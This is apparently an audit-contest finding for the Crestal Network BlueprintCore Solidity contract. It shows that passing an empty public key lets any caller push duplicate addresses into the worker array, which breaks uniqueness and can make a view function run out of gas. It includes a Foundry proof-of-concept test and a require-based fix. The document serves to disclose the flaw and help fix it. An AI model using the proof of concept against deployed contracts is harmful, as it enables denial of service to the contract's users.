Active Cloth Tortoise

Medium

# Attacker can make `workerAddressesMp` array grow indefinitely with non-unique addresses

### Summary

The function external `setWorkerPublicKey()` allows an attacker to pass an empty string as `publicKey`. This bypasses the requirement of the function to avoid having repeated keys in the array `workerAddressesMp[WORKER_ADDRESS_KEY]`. Also, it could make the array grow big enough so that the view function `getWorkerAddresses()` reverts out of gas. 

Any off-chain functionality assumptions on unique values of that array are broken.  

### Root Cause

Passing `publicKey = ""` will fulfill the condition `workersPublicKey[msg.sender].length == 0`, and will push `msg.sender` again into the `workerAddressesMp[WORKER_ADDRESS_KEY]` as many times as wanted. 

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L690C13-L690C29

```solidity
    function setWorkerPublicKey(bytes calldata publicKey) public {
>>>     if (workersPublicKey[msg.sender].length == 0) {
            workerAddressesMp[WORKER_ADDRESS_KEY].push(msg.sender);
        }

        workersPublicKey[msg.sender] = publicKey;
    }
```

### Internal Pre-conditions

None.

### External Pre-conditions

None.

### Attack Path

1. Attacker calls the function `setWorkerPublicKey(bytes calldata publicKey)` calling `publicKey` as an empty array of bytes. Pushing the `msg.sender` to the array every time. 

### Impact

- Offchain logic relying on having unique values on the `workerAddressesMp[WORKER_ADDRESS_KEY]` array can break.
- An attacker can DOS the view `getWorkerAddresses()` if the array is long enough. 

### PoC

Paste the following code at the bottom of `test/BlueprintV5.t.sol`:

```solidity

contract Pocs is BlueprintTest {
    function test_workerAddressesArray() public {
        blueprint.addPaymentAddress(address(mockToken));
        address attacker = makeAddr("attacker");

        bytes memory publicKey = "";
        vm.startPrank(attacker);
        blueprint.setWorkerPublicKey(publicKey);
        blueprint.setWorkerPublicKey(publicKey);
        blueprint.setWorkerPublicKey(publicKey);
        vm.stopPrank();

        /// Validation: the array contains the attacker address multiple times
        address[] memory workerAddresses = blueprint.getWorkerAddresses();
        assertEq(workerAddresses.length, 3);
        assertEq(workerAddresses[0], attacker);
        assertEq(workerAddresses[1], attacker);
        assertEq(workerAddresses[2], attacker);
    }
}
```

### Mitigation

```diff
    function setWorkerPublicKey(bytes calldata publicKey) public {
+       require(publicKey.length > 0, "invalid publicKey");
        if (workersPublicKey[msg.sender].length == 0) {
            workerAddressesMp[WORKER_ADDRESS_KEY].push(msg.sender);
        }

        workersPublicKey[msg.sender] = publicKey;
    }
```